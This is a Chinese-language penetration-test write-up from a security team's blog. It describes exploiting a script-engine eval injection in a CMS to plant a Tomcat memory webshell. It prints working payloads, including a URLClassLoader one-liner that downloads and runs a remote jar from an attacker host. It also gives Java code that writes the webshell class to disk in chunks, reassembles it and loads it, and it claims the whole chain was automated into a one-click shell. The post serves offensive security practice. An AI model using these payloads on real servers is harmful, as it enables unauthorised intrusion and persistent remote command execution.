記一次代碼審計打點

語言: CN / TW / HK

點擊藍字

關注我們

聲明

本文作者:kuaile

本文字數:3778

閲讀時長:10min

附件/鏈接 :點擊查看原文下載

本文首發於【secin】安全社區,未經許可禁止轉載

原文鏈接:https://www.sec-in.com/article/1617

由於傳播、利用此文所提供的信息而造成的任何直接或者間接的後果及損失,均由使用者本人負責,狼組安全團隊以及文章作者不為此承擔任何責任。

狼組安全團隊有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經狼組安全團隊允許,不得任意修改或者增減此文章內容,不得以任何方式將其用於商業目的。

在一次攻防項目中遇到了一個站點,看着有點通用cms的樣子,於是去資產測繪平台發現存在上千個資產,當時就想着看看資產測繪平台上的資產是否有存在源碼泄露然而並沒有,後續便通過網盤找到對應的系統安裝包進行漏洞挖掘,於是便有了這篇文章, 由於作者水平有限,文章如有錯誤歡迎指出。

本次WEB打點分為以下2個大的步驟

  • 通過網盤搜索系統源碼安裝包進行漏洞挖掘

  • 利用代碼執行漏洞分塊傳輸拿下服務器權限

漏洞挖掘

找源碼的過程就忽略了相信師傅們都比我會,當我拿到源碼安裝包並安裝好了,發現目標服務器是tomcat7,所使用的jdk版本為 1.7.0_79,拖取代碼到本地IDEA進行遠程debug調試

通過漫長無聊的挖洞分析環節,我發現存在一個前台的js ScriptEngineManager代碼執行漏洞( 漏洞函數關鍵字代碼、參數已替換 )代碼很簡單通過json格式傳參,其中123這個key對應的value就是我們的 代碼執行觸發點

String jsonStr2 = this.getParams(request);
byte[] bytes = jsonStr2.getBytes();
String jsonStr = new String(bytes, "UTF-8");
JSONObject obj = JSONObject.fromObject(jsonStr);
String 123 = obj.getString("123");
ScriptEngineManager manager = new ScriptEngineManager();
ScriptEngine engine = manager.getEngineByName("js");
engine.eval(123);

於是乎嘗試開始使用bcel去加載延時poc,測試線上目標漏洞是否存在,很開心成功延時15秒,證明漏洞是存在的

於是乎我開始直接嘗試利用bcel去加載tomcat內存馬的class,發現報錯了提示語法錯誤,通過返回包顯示識別到了開頭的 { 未識別到末尾的 }

這讓我一度懷疑是數據傳輸不完整

果不其然,我在debug環境測試,發現後端接受到的數據只到了下圖黃標處,導致數據接受不完整,內存馬注入失敗。

針對這種情況我暫時想到了如下思路:

1. 利用urlclassloader來加載遠程jar,數據包較小,缺點是必須出網。

2. 字節碼payload的壓縮,感覺在實戰中不止執行一個calc,而是要執行內存馬class,感覺很難縮小到後端接收到的數據大小,遂放棄。

3. 發送數據包將內存馬class分段寫入到遠程服務器上的某文件中,文件寫入完成後進行數據包的整合,最後使用urlclassloader來進行加載寫入的文件,這種方法缺點是文件可能需要落地,優點是不出網。

urlclassloader遠程加載jar

這種方法數據包很小是能夠執行內存馬文件,但是我在實際測試中發現網絡上提供的script代碼注入師傅們大多數提供的poc都為:

new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://192.168.56.139:8080/yxxx.jar")}).loadClass("xxxx").newInstance()
.loadClass("xxxx").newInstance()

然後我本地測試一直報這個錯誤

最後我轉成array數組形式,成功執行且注入內存馬成功

var arr2 = new Array();arr2[0]=new java.net.URL('http://192.168.56.139:8080/TomcatListenerMemshell.jar');new jav.net.URLClassLoader(arr2).loadClass('TomcatListenerMemshell').newInstance()

這邊採用的內存馬為tomcat Listener內存馬,內存馬關鍵最關鍵的獲取STANDARD_CONTEXT主要步驟為

currentThread -> threadGroup ->
for(threads) -> target -> this$0 -> handler -> global ->
for(processors) -> req -> getNote -> request

成功執行命令whoami

分塊傳輸

筆者感覺實戰測試中分塊傳輸注意事項大概如下幾點:

1.目標服務器jdk版本,不同Jdk版本 bas64解碼api可能不一樣
2.如何分塊文件,如何合併文件
2.如何確保分塊數據傳輸的完整性

首先是如何分塊文件,我要上傳的文件內容為我的內存馬class base64後的數據,經過不斷fuzz瞭解到目標服務器能獲取到的數據長度為450,現在要做的是如何分割字符串?可能大家會覺得按字節截取字符串分割子串還不簡單嗎?直接str.getBytes()後對字節數組下標分段為子字節數組就好啦,但是按字節截取字符串實際上是存在一個問題,就是如果截取的位置正好是該字符編碼的中間位置就會導致這個字符成為亂碼!由於編碼格式不同,直接截取可能會拿到一個被砍一半的亂碼,如utf-8 4byte 一箇中文,如果截取的時候是5byte,就會出現亂碼

我這邊採用的是這種方法,大致原理為先按字節數組進行截取,獲得一個長度不大於固定截取長度的字節數組,把字節數組轉字符串得到一個新子串,再轉byte數組後,兩數組長度進行比較(新子串再轉byte數組時,會對截取了一半的字符進行補全為對應編碼集一個字符的長度)如果新子串的字節數組比按長度截取的子串字節數組長,説明存在截取一半的字符,這個字符會在最後一個位置,要捨棄,所以,新子串按字符串長度截取減少1位,得到的字符串就是沒有截取一半的字符,且長度小於等於需要的字節長度的子串

拿到分割後的字符串全部寫入文件中

得到了總共37個分塊後的文件

分塊完成了,那麼我們就需要如何合併文件呢?

我這邊採用的是循壞找目錄下生成的bin文件,若文件缺失合成文件將會失敗,若都存在就成功合併文件內容為all.bin

     try {
int filename = 35;
String FileOut= System.getProperty("java.io.tmpdir") + File.separator + "all.bin";
StringBuilder sb = new StringBuilder();
for (int i = 0; i < filename + 1; i++) {
String path = System.getProperty("java.io.tmpdir") + File.separator + i + ".bin";
FileInputStream fis = new FileInputStream(path);
byte[] bytes = new byte[400];
fis.read(bytes);
sb.append(new String(bytes));
fis.close();
}
FileOutputStream fos = new FileOutputStream(FileOut);
fos.write(sb.toString().getBytes());
fos.close();
}catch (Exception ignore){


}

文件合併完成之後,就需要將文件轉成解碼為class文件存入Evil1.class,服務器jdk版本為1.7 ,採用以下進行解碼

    static  {
try {
String path = System.getProperty("java.io.tmpdir") + File.separator + "all.bin";
File file = new File(path);
FileInputStream fis = new FileInputStream(path);
int size = (int) file.length();
byte[] data = new byte[size];
fis.read(data);
// 寫入Evil.class
FileOutputStream fos = new FileOutputStream("C:\\users\\public\\Evil1.class");
fos.write(new BASE64Decoder().decodeBuffer(new String(data)));
fos.close();
}catch (IOException e) {
}

class文件生成之後利用urlclassloader去加載文件,即可成功加載內存馬字節碼,

成功注入內存馬執行命令

最後整個過程利用工具實現自動化,成功一鍵getshell

kuaile

no think more just do it

掃描關注公眾號回覆加羣

和師傅們一起討論研究~

WgpSec狼組安全團隊

微信號:wgpsec

Twitter:@wgpsec